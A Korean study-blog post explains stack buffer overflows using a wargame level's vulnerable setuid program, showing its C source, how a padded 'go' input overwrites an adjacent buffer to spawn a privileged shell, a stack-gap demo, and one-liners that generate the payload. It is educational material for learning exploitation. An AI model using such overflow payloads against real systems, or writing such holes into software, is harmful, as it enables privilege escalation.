Study Record

[리버싱 기초개념] 버퍼 오버플로우 본문

리버싱/기초 개념

[리버싱 기초개념] 버퍼 오버플로우

초코초코초코 2021. 11. 16. 22:56
728x90

버퍼 오버플로우 공격

메모리를 다루는 데에 오류가 발생하여 잘못된 동작을 하는 프로그램 취약점이다.

보통 개발된 프로그래밍 언어의 버퍼 오버플로우에 취약한 함수가 있는 경우 데이터가 지정된 크기의 공간보다 커서 해당 메모리 공간을 벗어나 의도치 않은 동작이 실행될 수 있는 공격으로, 결론적으로 버퍼 공간의 크기보다 큰 데이터를 저장하게 해서 일어나는 오버플로우(Overflow)를 이용한 공격이다. 

 

버퍼 오버플로우 공격 중, 스택 오버플로우는 스택공간에서 버퍼 공간의 크기보다 큰 데이터를 저장하게 해서 의도치 않은 동작(악성코드 실행)이 실행되게 한다.

 

예시로 Hake Me 의 level9 단계 중 /usr/bin/bof 소스 코드를 보자.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//  /usr/bin/bof 소스 코드이다.
main(){

  char buf2[10];
  char buf[10];

  printf("It can be overflow : ");
  fgets(buf,40,stdin);

  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }
}

/usr/bin/bof 코드의 전체적인 흐름은 표준 입력으로 받은 값을 buf 배열에 저장하고 buf2 배열의 값이 "go" 라면 level10 권한으로 쉘을 획득할 수 있다.

/usr/bin/bof 의 코드에서 fgets 함수를 보면 스택 오버플로우 공격을 시도할 수 있다. buf 배열의 크기는 10이지만 fgets 에서 표준 입력으로 40자까지 buf 배열에 값을 넣을 수 있다. 그렇다면 만약에 표준 입력으로 10자가 넘는 글자를 입력한다면 buf 버퍼 공간의 크기보다 큰 데이터를 저장하는 오버플로우가 일어나 buf2 배열에 값을 입력할 수 있게 된다.

그림1

 [그림1]과 같이 "AAAAAAAAAAgo"를 입력하면 buf2 에 "go" 정보가 들어가 level10 권한으로 쉘을 획득할 수 있게 된다.

 

 

하지만, 프로그램이 실행되면서 스택에 지역 변수를 저장한다고 하면, 그 변수들 사이에 빈 공간이 존재할 수 있다. 

#include <stdio.h>
int main()
{
    char AA;
    char strAA[1];
    char strBB[2];
    char strCC[3];
    char strDD[5];

    printf("AA's address: 0x%x, sizeof: 0x%x\n", &AA, sizeof(AA));
    printf("strAA[1]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strAA, sizeof(strAA), &AA - strAA);
    printf("strBB[2]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strBB, sizeof(strBB), strAA - strBB);
    printf("strCC[3]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strCC, sizeof(strCC), strBB - strCC);
    printf("strDD[5]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strDD, sizeof(strDD), strCC - strDD);
    return 0;
}

위와 같은 코드를 실행했을 때 실행 결과는 다음과 같다.

실행 결과를 분석해보면 아래와 같이 스택에 지역변수들이 저장될 때 빈 공간이 생길 수 있다.

따라서 버퍼 오버플로우 공격을 실행할 때, 위의 사항을 알고 있어야 한다.

 

 

프로그램이 실행될 때, 스택에 빈공간이 있을 수 있으니 그 빈 공간의 크기를 알아낼 수 있다면 그 크기만큼 더 입력을 해주면 된다. 빈 공간의 크기를 알아낼 수 없다면, 하나씩 대입해보는 방식을 취하면 된다.

그림2

※ "AAAAAAAAAAAAAAAgo" 쉘에서 출력하기

# for i in `seq 1 16`; do printf "A"; done; printf "go\n"

# for i in `seq 1 16`; do printf "A"; done; printf "\x67\x6f\n"

# perl   -e 'print "A"x16,"go\n"'

# ruby   -e 'print "A"*16+"go\n"'

# python -c 'print "A"*16+"go"

 

 

 

 

 

 

728x90